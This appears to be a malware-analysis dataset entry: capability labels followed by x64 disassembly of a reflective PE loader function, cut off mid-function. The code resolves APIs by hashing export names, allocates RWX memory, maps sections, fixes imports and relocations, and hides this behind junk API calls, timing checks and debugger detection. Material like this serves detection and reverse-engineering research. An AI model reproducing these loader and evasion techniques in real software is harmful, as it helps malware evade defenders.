Function at 0x180004088
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get disk information
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov rbx, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x180004110
mov esi, 0x5c772c5
mov qword [rsp + 0x28], rsi
jmp 0x180004138
rdtscp
lea r8, [rsp + 0x1d8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov rsi, rax
mov qword [rsp + 0x28], rax
rdtscp
lea r8, [rsp + 0x1d8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x9d81
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x30], eax
movd xmm6, esi
cvtdq2ps xmm6, xmm6
xor r13d, r13d
mov eax, r13d
mov qword [rsp + 0x70], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x90], r13
mov r12d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x80], r13
mov qword [rsp + 0xb0], rax
xorps xmm13, xmm13
xorps xmm8, xmm8
movsd qword [rsp + 0x88], xmm8
movsd xmm8, qword [0x180030f68]
movsd qword [rsp + 0xd8], xmm8
movsd xmm15, qword [0x180030cd0]
movsd qword [rsp + 0xa0], xmm15
movsd xmm7, qword [0x180030fa0]
movsd qword [rsp + 0xe0], xmm7
movaps xmm0, xmm8
call fcn.180003f40
xorps xmm0, xmm0
call fcn.180003f40
mov rbx, qword [rbx]
lea r14d, [r13 + 1]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xc8], rbx
movaps xmm0, xmm8
call fcn.180003f40
movaps xmm0, xmm13
call fcn.180003f40
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x18000566a
movsxd rcx, dword [rbx + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x18000566a
cmp dword [rcx + rbx], 0x4550
jne 0x18000566a
mov rdi, qword gs:[0x60]
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x40], r13
mov edx, dword [rsp + 0x20]
cmp esi, edx
jle 0x1800042c5
mov rdi, qword [rdi + 0x18]
mov qword [rsp + 0x78], rdi
mov r12, qword [rdi + 0x20]
mov qword [rsp + 0x68], r12
movss dword [rsp + 0x1e8], xmm6
jmp 0x18000437d
mov ecx, 0x10
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
call fcn.18000349c
cvttss2si rax, xmm0
lea rcx, [rax + rax]
sub rax, rcx
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movss dword [rsp + 0x1e8], xmm6
comiss xmm6, dword [0x180030f80]
jae 0x1800042ca
movss xmm0, dword [0x180030ffc]
comiss xmm0, xmm6
jb 0x180004338
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
xor eax, eax
cdq
idiv r13d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvtps2pd xmm1, xmm0
movaps xmm2, xmm13
divsd xmm2, xmm1
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm2
movss dword [rsp + 0x1e8], xmm6
comiss xmm6, dword [0x180031000]
jbe 0x180004379
movsd xmm0, qword [0x180030e60]
call fcn.180002fd0
cvttsd2si ebx, xmm0
mov ecx, 0x55
call fcn.1800032e8
movsx rcx, al
movsx rax, bl
imul rax, rcx
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movss dword [rsp + 0x1e8], xmm6
mov edx, dword [rsp + 0x20]
movss xmm10, dword [0x180031030]
movss xmm14, dword [0x18003104c]
movss xmm11, dword [0x180031040]
movss xmm9, dword [0x180031024]
movss xmm12, dword [0x180030cd8]
movzx r15d, word [rsp + 0x1d8]
mov qword [rsp + 0x48], r15
movss xmm15, dword [0x180031044]
test r12, r12
je 0x180004b23
mov ebx, esi
cmp esi, edx
jle 0x180004474
lea edi, [rsi + 4]
cmp edi, edx
jg 0x1800044bd
movsd xmm3, qword [0x180030ea8]
movss xmm4, dword [0x180031028]
cvtps2pd xmm1, xmm4
movaps xmm0, xmm1
divsd xmm0, xmm3
movaps xmm3, xmm0
mulsd xmm1, xmm0
cvtpd2ps xmm2, xmm1
cvtps2pd xmm0, xmm2
addsd xmm0, xmm3
cvtpd2ps xmm4, xmm0
movaps xmm1, xmm4
mulss xmm1, xmm2
cvtps2pd xmm0, xmm1
addsd xmm0, xmm3
cvtpd2ps xmm6, xmm0
movss dword [rsp + 0x1e8], xmm6
ucomiss xmm6, dword [0x18003102c]
jp 0x180004435
je 0x1800043ef
movss xmm7, dword [0x180031018]
comiss xmm6, xmm10
jbe 0x180004469
call qword [sym.imp.USER32.dll_GetMessageExtraInfo]
movaps xmm0, xmm7
addss xmm0, xmm7
movaps xmm7, xmm0
movaps xmm6, xmm0
movss dword [rsp + 0x1e8], xmm0
comiss xmm0, xmm10
ja 0x180004443
mov edx, dword [rsp + 0x20]
add ebx, r14d
cmp ebx, edx
jg 0x1800043d7
mov rbx, qword [rsp + 0x40]
mov r12d, 0xffff
mov word [rsp + 0x1e0], r15w
test r15w, r15w
je 0x18000473b
mov edi, dword [rsp + 0x24]
cmp esi, dword [rsp + 0x30]
cmovg edi, esi
mov dword [rsp + 0x28], edi
mov ecx, ebx
call fcn.180005674
mov ebx, eax
mov qword [rsp + 0x40], rbx
mov edx, dword [rsp + 0x20]
mov r8d, dword [rsp + 0x24]
jmp 0x1800045bf
mov rax, qword [r12 + 0x50]
mov qword [rsp + 0x80], rax
movzx r15d, word [r12 + 0x48]
mov qword [rsp + 0x48], r15
mov word [rsp + 0x1d8], r15w
mov rbx, r13
mov qword [rsp + 0x40], rbx
lea rcx, [r14 + r15]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180009554
mov edx, dword [rsp + 0x20]
jmp 0x180004479
mov rcx, qword [rsp + 0x80]
cmp byte [rcx], 0x61
jb 0x1800045d5
movzx eax, byte [rcx]
add rax, 0xffffffffffffffe0
jmp 0x180004619
lea eax, [rdi + rdi]
cmp eax, r8d
jge 0x180004616
movss xmm7, dword [0x180031004]
jmp 0x18000460f
call qword [sym.imp.KERNEL32.dll_GetACP]
movsd xmm0, qword [0x180030cf0]
call fcn.180002fd0
cvttsd2si rcx, xmm0
mov rax, r14
cqo
idiv rcx
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
comiss xmm7, xmm6
jae 0x1800045e7
jmp 0x18000460f
movzx eax, byte [rcx]
add rbx, rax
mov qword [rsp + 0x40], rbx
mov esi, edi
cmp edi, edx
jle 0x18000472b
lea r12d, [rdi + 4]
movss xmm7, dword [0x180031054]
cmp r12d, edx
jg 0x180004718
movsd xmm6, qword [0x180030d40]
call qword [sym.imp.GDI32.dll_GdiFlush]
cvttsd2si rcx, xmm6
call fcn.1800032e8
movsx ecx, al
movd xmm6, ecx
cvtdq2pd xmm6, xmm6
cvtpd2ps xmm0, xmm6
comiss xmm7, xmm0
jae 0x180004648
comiss xmm15, xmm0
jb 0x180004680
call qword [sym.imp.USER32.dll_AnyPopup]
movss xmm0, dword [0x180030fe8]
ucomiss xmm0, xmm14
jp 0x180004688
je 0x1800046a5
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
mov cl, 0x2a
call fcn.180002c7c
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
call fcn.180002fd0
mov bl, 0x5f
mov edx, 0x5f
movd xmm0, edx
cvtdq2pd xmm0, xmm0
call fcn.18000349c
cvttss2si ecx, xmm0
movsx eax, cl
movsx ebx, bl
imul ebx, eax
movsx edx, bl
movsx eax, cl
sub eax, edx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movss dword [rsp + 0x1e8], xmm6
ucomiss xmm6, xmm7
jp 0x1800046ac
jne 0x1800046ac
ucomiss xmm6, dword [0x180031048]
jp 0x1800046f0
je 0x180004707
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
movss xmm6, dword [0x180031070]
movss dword [rsp + 0x1e8], xmm6
add esi, r14d
mov edx, dword [rsp + 0x20]
cmp esi, edx
jg 0x180004637
jmp 0x180004720
add qword [rsp + 0x80], r14
mov r12d, 0xffff
mov rbx, qword [rsp + 0x40]
add r15w, r12w
mov esi, edi
mov qword [rsp + 0x28], rsi
jmp 0x18000447f
cmp ebx, 0x6a4abc5b
jne 0x180004aa6
lea eax, [rsi + 4]
cmp eax, edx
jle 0x1800047a1
mov rdi, qword [rsp + 0x68]
mov rdi, qword [rdi + 0x20]
mov qword [rsp + 0x78], rdi
movsxd rax, dword [rdi + 0x3c]
mov r10d, dword [rax + rdi + 0x88]
add r10, rdi
mov qword [rsp + 0x38], r10
mov r8d, dword [r10 + 0x20]
add r8, rdi
mov qword [rsp + 0x58], r8
mov r9d, dword [r10 + 0x24]
add r9, rdi
mov qword [rsp + 0x60], r9
mov r15d, 3
mov qword [rsp + 0x48], r15
mov word [rsp + 0x1d8], r15w
jmp 0x180004849
movss xmm7, dword [0x180030f78]
comiss xmm11, xmm6
jb 0x1800047fa
movss xmm8, dword [0x180030ff8]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
movaps xmm0, xmm7
divss xmm0, xmm8
cvttss2si rbx, xmm0
cvtps2pd xmm0, xmm7
call fcn.180002fd0
xorps xmm7, xmm7
cvtsd2ss xmm7, xmm0
xorps xmm8, xmm8
cvtsi2ss xmm8, rbx
movaps xmm6, xmm8
mulss xmm6, xmm7
movss dword [rsp + 0x1e8], xmm6
comiss xmm11, xmm6
jae 0x1800047b8
comiss xmm6, xmm9
jbe 0x180004830
xorps xmm13, xmm13
call qword [sym.imp.USER32.dll_CreateMenu]
movaps xmm0, xmm13
call fcn.18000349c
cvttss2si eax, xmm0
movsx eax, al
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movss dword [rsp + 0x1e8], xmm6
comiss xmm6, xmm9
ja 0x180004804
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov r15, qword [rsp + 0x48]
mov r10, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x78]
test r15w, r15w
je 0x180004aab
mov edx, dword [r8]
add rdx, rdi
mov ecx, r13d
mov al, byte [rdx]
ror ecx, 0xd
movsx eax, al
add ecx, eax
add rdx, r14
mov al, byte [rdx]
test al, al
jne 0x18000485e
cmp ecx, 0xec0e4e8e
je 0x180004894
cmp ecx, 0x7c0dfcaa
je 0x180004894
movss dword [rsp + 0x1e8], xmm6
cmp ecx, 0x91afca54
jne 0x1800049f1
movzx edx, word [r9]
mov r8d, dword [r10 + 0x1c]
add r8, rdi
cmp ecx, 0xec0e4e8e
jne 0x18000497e
cmp esi, dword [rsp + 0x20]
jl 0x1800048ca
mov eax, dword [r8 + rdx*4]
add rax, rdi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0xb8], rax
jmp 0x1800049d1
comiss xmm6, xmm9
jbe 0x1800048dc
call qword [sym.imp.GDI32.dll_GdiFlush]
comiss xmm12, xmm9
ja 0x1800048d0
mov bl, 0x14
mov esi, 0x45
lea edi, [rsi - 0x31]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea ecx, [rsi + rdi]
sub bl, cl
mov rsi, r14
movsx edi, bl
mov eax, edi
imul eax, ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm12
jp 0x1800048e6
jne 0x1800048e6
movsd xmm2, qword [0x180030ed0]
movsd xmm1, qword [0x180030d20]
movaps xmm0, xmm1
divsd xmm0, xmm2
movaps xmm2, xmm0
subsd xmm1, xmm0
cvttsd2si eax, xmm1
movsx eax, al
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm0, xmm1
cvtpd2ps xmm0, xmm0
ucomiss xmm0, dword [0x180030fbc]
jp 0x18000491b
jne 0x18000491b
call qword [sym.imp.KERNEL32.dll_GetACP]
movd xmm6, r14d
cvtdq2ps xmm6, xmm6
movss dword [rsp + 0x1e8], xmm6
ucomiss xmm6, dword [0x180030fdc]
jp 0x18000496d
je 0x18000494b
mov rsi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x60]
mov r10, qword [rsp + 0x38]
jmp 0x1800049da
cmp ecx, 0x7c0dfcaa
jne 0x1800049b1
lea eax, [rsi + rsi]
mov ecx, dword [rsp + 0x24]
cmp eax, dword [rsp + 0x30]
cmovge ecx, esi
mov eax, dword [r8 + rdx*4]
add rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xc0], rax
mov esi, ecx
mov qword [rsp + 0x28], rsi
jmp 0x1800049d1
movss dword [rsp + 0x1e8], xmm6
cmp ecx, 0x91afca54
jne 0x1800049da
mov eax, dword [r8 + rdx*4]
add rax, rdi
mov qword [rsp + 0x90], rax
movss dword [rsp + 0x1e8], xmm6
add r15w, r12w
mov qword [rsp + 0x48], r15
mov word [rsp + 0x1d8], r15w
mov r8, qword [rsp + 0x58]
mov edi, esi
mov ecx, dword [rsp + 0x20]
cmp esi, ecx
jle 0x180004844
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov r12d, eax
cmp r12d, ecx
jge 0x180004a7a
mov r15b, 5
mov esi, 0x25
mov cl, r15b
call fcn.180002c7c
movsx r15d, al
imul esi, r15d
movd xmm0, r15d
cvtdq2pd xmm0, xmm0
call fcn.180002fd0
cvttsd2si ecx, xmm0
movsx r8d, cl
mov eax, r15d
cdq
idiv r8d
imul eax, esi
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movss dword [rsp + 0x1e8], xmm6
movss xmm0, dword [0x180030fb8]
comiss xmm0, xmm6
ja 0x180004a16
add edi, r14d
mov ecx, dword [rsp + 0x20]
cmp edi, ecx
jg 0x180004a09
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
jmp 0x180004a96
mov r8, qword [rsp + 0x58]
add r8, 4
mov qword [rsp + 0x58], r8
mov r9, qword [rsp + 0x60]
add r9, 2
mov qword [rsp + 0x60], r9
mov rsi, qword [rsp + 0x28]
mov r12d, 0xffff
jmp 0x18000483a
mov r15, qword [rsp + 0x48]
cmp qword [rsp + 0x70], r13
je 0x180004c96
cmp qword [rsp + 0x50], r13
je 0x180004c96
cmp qword [rsp + 0x90], r13
je 0x180004c96
lea eax, [rsi + 4]
cmp eax, dword [rsp + 0x20]
jg 0x180004b23
movss xmm1, dword [0x180031008]
comiss xmm6, xmm1
jbe 0x180004b00
mov eax, 0x5c0
mov ecx, eax
add al, al
movsx eax, al
imul eax, ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
comiss xmm0, xmm1
ja 0x180004aea
movss xmm6, dword [0x180030f70]
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
movaps xmm0, xmm6
divss xmm0, xmm6
movaps xmm6, xmm0
ucomiss xmm0, dword [0x180030f94]
jp 0x180004b23
je 0x180004b08
mov edi, esi
mov ebx, r14d
mov dword [rsp + 0x1d8], esi
movsd xmm11, qword [0x180030cf0]
movaps xmm0, xmm11
movsd xmm15, qword [0x180030ce8]
movsd xmm7, qword [rsp + 0xe0]
movsd xmm9, qword [rsp + 0x88]
movsd xmm10, qword [rsp + 0xa0]
subsd xmm0, xmm15
mulsd xmm0, xmm10
addsd xmm0, xmm9
call fcn.180003f40
add ebx, r14d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x180004b62
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e0], eax
mov rbx, qword [rsp + 0xc8]
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
mov qword [rsp + 0x38], rax
mov r15d, dword [rax + 0x54]
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
mov qword [rsp + 0x90], rax
movss xmm13, dword [0x180031014]
test r15, r15
je 0x180004cf8
sub rax, rbx
mov rsi, rbx
movss xmm7, dword [0x18003103c]
mov r12, rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x20]
sub r15, r14
mov edi, eax
cmp eax, ecx
jle 0x180004cd9
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x1d8], eax
jne 0x180004cba
comiss xmm6, xmm13
jb 0x180004c23
call qword [sym.imp.ole32.dll_OleUninitialize]
movsd xmm6, qword [0x180030d18]
movsd xmm2, qword [0x180030db8]
movaps xmm0, xmm2
call fcn.18000349c
cvttss2si eax, xmm0
movsx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movaps xmm0, xmm2
subsd xmm0, xmm6
movaps xmm6, xmm0
movaps xmm1, xmm0
addsd xmm1, xmm2
cvtpd2ps xmm0, xmm1
ucomiss xmm0, xmm7
jp 0x180004c66
je 0x180004c33
mov bl, 0x4e
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov cl, bl
call fcn.180002c7c
movsx ebx, al
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm0, xmm14
ja 0x180004c68
ucomiss xmm0, xmm7
jp 0x180004cad
jne 0x180004cad
movss xmm6, dword [0x180030fc8]
jmp 0x180004cb1
mov r12, qword [rsp + 0x68]
mov r12, qword [r12]
mov qword [rsp + 0x68], r12
mov edx, dword [rsp + 0x20]
jmp 0x1800043c1
movaps xmm6, xmm12
add edi, r14d
cmp edi, dword [rsp + 0x20]
jle 0x180004cd0
movsd xmm0, qword [0x180030cc0]
call fcn.180003f40
mov al, byte [rsi]
mov byte [r12 + rsi], al
add rsi, r14
mov ecx, dword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
test r15, r15
jne 0x180004bf9
mov r12, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x28]
mov edi, dword [rsp + 0x1d8]
jmp 0x180004d26
mov eax, dword [rsp + 0x1e0]
mov dword [rsp + 0x1e0], eax
mov qword [rsp + 0x28], rsi
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x1d8], edi
movsd xmm7, qword [0x180030f98]
movaps xmm12, xmm7
mov ebx, r14d
movaps xmm0, xmm11
mulsd xmm0, xmm10
addsd xmm0, xmm9
call fcn.180003f40
add ebx, r14d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x180004d39
movss xmm14, dword [0x180031034]
movss xmm7, dword [0x180031054]
lea eax, [rsi + rsi]
cmp eax, dword [rsp + 0x20]
jl 0x180005633
movsd xmm0, qword [rsp + 0xd8]
call fcn.180003f40
movaps xmm8, xmm0
movaps xmm0, xmm9
call fcn.180003f40
addsd xmm8, xmm0
mulsd xmm8, xmm10
divsd xmm8, qword [0x180030d28]
mov rcx, qword [rsp + 0x38]
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
movzx r15d, word [rcx + 6]
test r15, r15
je 0x180004f39
movss xmm10, dword [0x180030fe0]
movss xmm9, dword [0x180030fc0]
xorps xmm15, xmm15
movss xmm14, dword [0x180031044]
mov eax, dword [rsp + 0x20]
sub r15, r14
cmp dword [rsp + 0x28], eax
jle 0x180004efe
cmp edi, dword [rsp + 0x24]
jge 0x180004ec2
comiss xmm10, xmm6
jb 0x180004e19
pause
mov ecx, 0x49
call fcn.1800032e8
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
ucomiss xmm6, dword [0x180030fd8]
jp 0x180004e24
je 0x180004e27
xorps xmm6, xmm6
movsd xmm7, qword [0x180030d80]
jmp 0x180004e48
call qword [sym.imp.USER32.dll_GetShellWindow]
movaps xmm0, xmm7
mulsd xmm0, xmm7
movaps xmm7, xmm0
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
comiss xmm6, xmm9
jae 0x180004e31
mov edi, 0x7c
movsd xmm7, qword [0x180030dc0]
comiss xmm6, xmm14
jbe 0x180004eb7
movss xmm10, dword [0x180031044]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
movaps xmm0, xmm7
call fcn.180002fd0
movaps xmm6, xmm0
mov cl, dil
call fcn.180002c7c
movsx edi, al
movaps xmm7, xmm15
movd xmm1, edi
cvtdq2pd xmm1, xmm1
mulsd xmm1, xmm15
addsd xmm1, xmm6
cvtpd2ps xmm6, xmm1
comiss xmm6, xmm10
ja 0x180004e6a
movss xmm10, dword [0x180030fe0]
movss xmm14, dword [0x180031044]
add esi, r14d
mov eax, dword [rsp + 0x20]
cmp esi, eax
jle 0x180004efe
mov ecx, dword [rbx + 0xc]
add rcx, r12
mov edx, dword [rbx + 0x14]
add rdx, qword [rsp + 0xc8]
mov r8d, dword [rbx + 0x10]
test r8, r8
je 0x180004eeb
mov al, byte [rdx]
mov byte [rcx], al
add rcx, r14
add rdx, r14
sub r8, r14
jne 0x180004edc
sub r8, r14
mov qword [rsp + 0xb0], r8
add rbx, 0x28
mov eax, dword [rsp + 0x20]
test r15, r15
mov rsi, qword [rsp + 0x28]
mov edi, dword [rsp + 0x1d8]
jne 0x180004de6
movss xmm14, dword [0x180031034]
movsd xmm15, qword [0x180030ce8]
movsd xmm9, qword [rsp + 0x88]
movsd xmm10, qword [rsp + 0xa0]
mov edi, r14d
movaps xmm0, xmm11
movsd xmm7, qword [rsp + 0xe0]
subsd xmm0, xmm15
mulsd xmm0, xmm10
addsd xmm0, xmm9
call fcn.180003f40
mulsd xmm0, qword [0x180030cc8]
addsd xmm8, xmm0
add edi, r14d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x180004f49
movsd qword [rsp + 0xd8], xmm8
mov r8d, dword [rsp + 0x24]
mov esi, r8d
mov ecx, dword [rsp + 0x30]
cmp dword [rsp + 0x1e0], ecx
cmovge esi, dword [rsp + 0x1d8]
mov r15, qword [rsp + 0x38]
add r15, 0x90
mov qword [rsp + 0x80], r15
mov edi, dword [r15]
add rdi, r12
mov qword [rsp + 0x1e0], rdi
movss dword [rsp + 0x1e8], xmm6
mov qword [rsp + 0x68], rbx
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xa8], rax
movsd qword [rsp + 0xb0], xmm12
mov r9, qword [rsp + 0x70]
mov qword [rsp + 0xb8], r9
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xc0], rax
movsd xmm15, qword [rsp + 0xa0]
cmp dword [rdi + 0xc], r13d
je 0x180005311
cmp dword [r15], r13d
je 0x180005311
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov r14d, r8d
cmp eax, ecx
cmovge r14d, esi
mov dword [rsp + 0x1d8], r14d
mov ecx, dword [rdi + 0xc]
add rcx, r12
call r9
mov rsi, rax
mov qword [rsp + 0xd0], rax
mov ecx, dword [rdi]
add rcx, r12
mov qword [rsp + 0xa8], rcx
mov ebx, dword [rdi + 0x10]
add rbx, r12
mov qword [rsp + 0x68], rbx
mov r8d, dword [rsp + 0x24]
mov r9, qword [rsp + 0x50]
jmp 0x18000511c
cmp qword [rbx], r13
je 0x1800052ed
mov r13, rcx
test rcx, rcx
je 0x180005166
mov rdx, qword [rcx]
test rdx, rdx
jns 0x180005166
lea eax, [r14 + r14]
cmp eax, r8d
jl 0x1800051cc
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
mov eax, dword [rcx + rsi + 0x10]
movzx edx, dx
sub rdx, rax
mov ecx, dword [rcx + rsi + 0x1c]
add rcx, rsi
mov eax, dword [rcx + rdx*4]
add rax, rsi
jmp 0x180005183
mov r15, qword [rbx]
add r15, r12
mov qword [rsp + 0x80], r15
lea rdx, [r15 + 2]
mov rcx, rsi
call r9
mov r8d, dword [rsp + 0x24]
mov rcx, rbx
mov qword [rbx], rax
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
cmp eax, r8d
jl 0x180005244
add rbx, 8
mov qword [rsp + 0x68], rbx
lea rcx, [r13 + 8]
test r13, r13
cmove rcx, r13
mov qword [rsp + 0xa8], rcx
xor r13d, r13d
cmp qword [rbx], r13
je 0x1800052ed
mov r9, qword [rsp + 0x50]
jmp 0x180005125
movss xmm8, dword [0x180030fcc]
movss xmm7, dword [0x180031020]
jmp 0x180005205
cvttss2si ecx, xmm7
call fcn.180002c7c
movsx ecx, al
movd xmm7, ecx
cvtdq2ps xmm7, xmm7
cvtps2pd xmm0, xmm7
call fcn.180002fd0
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
addss xmm6, xmm7
comiss xmm8, xmm6
ja 0x1800051df
comiss xmm6, dword [0x180030f78]
jb 0x1800051d5
movsd xmm0, qword [0x180030e20]
call fcn.180002fd0
cvttsd2si eax, xmm0
movsx r8d, al
mov eax, 0x40
cdq
idiv r8d
movsx ecx, al
mov eax, r8d
cdq
idiv ecx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
jmp 0x1800051d5
mov edi, 0x1e
movss xmm7, dword [0x18003101c]
mov ebx, edi
jmp 0x180005273
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.18000349c
cvttss2si ebx, xmm0
movd xmm6, ebx
cvtdq2ps xmm6, xmm6
comiss xmm6, xmm13
ja 0x180005255
mov ebx, edi
comiss xmm7, xmm6
jb 0x1800052a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [rbx + rbx]
movsxd rcx, eax
sub eax, ebx
movsxd rbx, eax
mov rax, rbx
imul rax, rcx
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
comiss xmm7, xmm0
jae 0x180005280
mov ebx, 0x34
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180002fd0
cvttsd2si eax, xmm0
movsx r8d, al
mov eax, r8d
cdq
idiv ebx
mov ebx, eax
mov ecx, eax
sub ecx, r8d
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
ucomiss xmm6, dword [0x180031000]
jp 0x180005251
je 0x1800052aa
jmp 0x180005251
mov esi, r8d
mov ecx, dword [rsp + 0x30]
cmp r14d, ecx
cmovne esi, r14d
add rdi, 0x14
mov qword [rsp + 0x1e0], rdi
mov r9, qword [rsp + 0x70]
jmp 0x18000500e
mov r14d, 1
mov edi, r14d
movaps xmm0, xmm11
movsd xmm10, qword [0x180030cb8]
movsd xmm9, qword [rsp + 0x88]
mulsd xmm0, xmm15
addsd xmm0, xmm9
call fcn.180003f40
mulsd xmm0, xmm10
addsd xmm8, xmm0
add edi, r14d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm12, xmm0
jae 0x180005331
mov r10, r12
mov r15, qword [rsp + 0x38]
sub r10, qword [r15 + 0x30]
movaps xmm7, xmm8
movaps xmm9, xmm12
cmp dword [r15 + 0xb4], r13d
je 0x1800054b4
lea eax, [rsi + 4]
mov ecx, dword [rsp + 0x24]
cmp eax, ecx
jg 0x1800053d7
mov edi, 0xa
movsd xmm7, qword [0x180030d98]
comiss xmm6, dword [0x180030d00]
jb 0x1800053b6
movaps xmm0, xmm7
call fcn.180002fd0
movaps xmm1, xmm7
subsd xmm1, xmm0
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm1
jmp 0x180005395
mov rcx, rdi
call fcn.1800032e8
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [0x180030df0]
cvtpd2ps xmm6, xmm0
jmp 0x180005395
mov r8d, dword [r15 + 0xb0]
add r8, r12
mov eax, dword [r8 + 4]
movaps xmm9, xmm12
test eax, eax
je 0x1800054b4
mov edi, 0xa
mov r15, r14
mov ebx, dword [r8]
add rbx, r12
mov r9d, eax
sub r9, 8
shr r9, 1
lea r11, [r8 + 8]
je 0x180005496
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov r14d, eax
sub r9, r15
cmp r14d, ecx
jl 0x18000554d
movzx ecx, word [r11]
movzx edx, cx
shr dx, 0xc
cmp dx, di
jne 0x180005445
and ecx, 0xfff
add qword [rcx + rbx], r10
jmp 0x180005489
mov eax, 3
cmp dx, ax
jne 0x18000545b
and ecx, 0xfff
add dword [rcx + rbx], r10d
jmp 0x180005489
cmp dx, r15w
jne 0x180005474
and ecx, 0xfff
mov rax, r10
shr rax, 0x10
add word [rcx + rbx], ax
jmp 0x180005489
mov eax, 2
cmp dx, ax
jne 0x180005489
and ecx, 0xfff
add word [rcx + rbx], r10w
add r11, 2
test r9, r9
mov ecx, dword [rsp + 0x24]
jne 0x18000541d
mov eax, dword [r8 + 4]
add rax, r8
mov r8, rax
mov eax, dword [rax + 4]
test eax, eax
